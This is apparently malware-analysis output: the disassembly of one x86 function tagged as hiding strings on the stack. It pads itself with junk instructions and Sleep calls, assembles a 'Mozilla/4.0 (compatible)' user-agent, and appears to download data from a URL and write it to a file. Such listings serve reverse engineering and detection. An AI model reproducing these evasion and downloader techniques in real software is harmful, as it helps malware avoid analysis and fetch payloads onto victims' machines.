Function at 0x402b80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
nop
bt eax, 0xe0
xor ah, 0x3d
sub al, 0xb5
test ebp, ebx
xor al, al
xadd eax, eax
xadd ah, al
neg eax
imul eax, ebx, 0x78b3bbf9
inc eax
imul eax, edx, 0xf9539b11
and eax, 0xc7e2d3ce
movsx eax, si
bsf eax, ecx
movsx eax, bx
btc eax, 0xb
dec eax
test cl, bl
mov eax, 0x2e383802
mov ah, 0x3d
mov ah, 0x8e
shrd eax, ebp, cl
movzx eax, dh
movsx eax, bl
test ecx, eax
shrd eax, esi, cl
rcl ah, 0x62
test ecx, edi
imul eax, ebp
bsf eax, edx
xadd al, ah
test edi, esi
dec al
bswap eax
dec ah
sub al, cl
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
call fcn.00404130
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call esi
push ebx
call esi
push ebx
call esi
call fcn.00404130
call fcn.00404130
call fcn.00404130
push ebx
call esi
push ebx
call esi
push ebx
call esi
mov dword [ebp - 4], ebx
call fcn.00404130
mov dword [ebp - 0x24], ebx
call fcn.00404130
call fcn.00404130
mov dl, 0x69
mov al, 0x6c
mov cl, 0x61
push ebx
mov byte [ebp - 0x20], 0x4d
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x7a
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x1c], al
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], 0x2f
mov byte [ebp - 0x18], 0x34
mov byte [ebp - 0x17], 0x2e
mov byte [ebp - 0x16], 0x30
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x28
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 0xb], al
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x29
mov byte [ebp - 8], bl
call esi
push ebx
call esi
push ebx
call esi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x20]
push ebx
push eax
call dword [0x40ef54]
mov edi, eax
mov dword [ebp - 0x28], edi
call fcn.00404130
push ebx
call esi
push ebx
call esi
push ebx
call esi
cmp edi, ebx
jne 0x402ce1
push ebx
call esi
push ebx
call esi
push ebx
call esi
call fcn.00404130
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00404130
mov ecx, dword [ebp + 8]
push ebx
push 0x80000000
push ebx
push ebx
push ecx
push edi
call dword [0x40ef3c]
mov dword [ebp + 8], eax
call fcn.00404130
cmp dword [ebp + 8], ebx
jne 0x402d14
call fcn.00404130
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call esi
push ebx
call esi
push ebx
call esi
call fcn.00404130
mov edx, dword [ebp + 0xc]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [0x40ef5c]
mov ebx, eax
call fcn.00404130
cmp ebx, 0xffffffff
je 0x402dfb
call fcn.00404130
call fcn.00404130
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x42c]
rep stosd dword es:[edi], eax
call fcn.00404130
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x42c]
push 0x400
push ecx
push edx
call dword [0x40ef48]
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x24]
push 0
push eax
lea edx, [ebp - 0x42c]
push ecx
push edx
push ebx
call dword [0x40ef40]
call fcn.00404130
mov eax, dword [ebp - 4]
test eax, eax
ja 0x402d4c
call fcn.00404130
push ebx
call dword [0x40ef38]
call fcn.00404130
push 0
mov ebx, 1
call esi
push 0
call esi
push 0
call esi
mov edi, dword [ebp - 0x28]
jmp 0x402dfe
mov ebx, dword [ebp - 0x2c]
call fcn.00404130
push 0
call esi
push 0
call esi
push 0
call esi
mov eax, dword [ebp + 8]
push eax
call dword [0x40ef44]
call fcn.00404130
push edi
call dword [0x40ef44]
push 0
call esi
push 0
call esi
push 0
call esi
call fcn.00404130
pop edi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret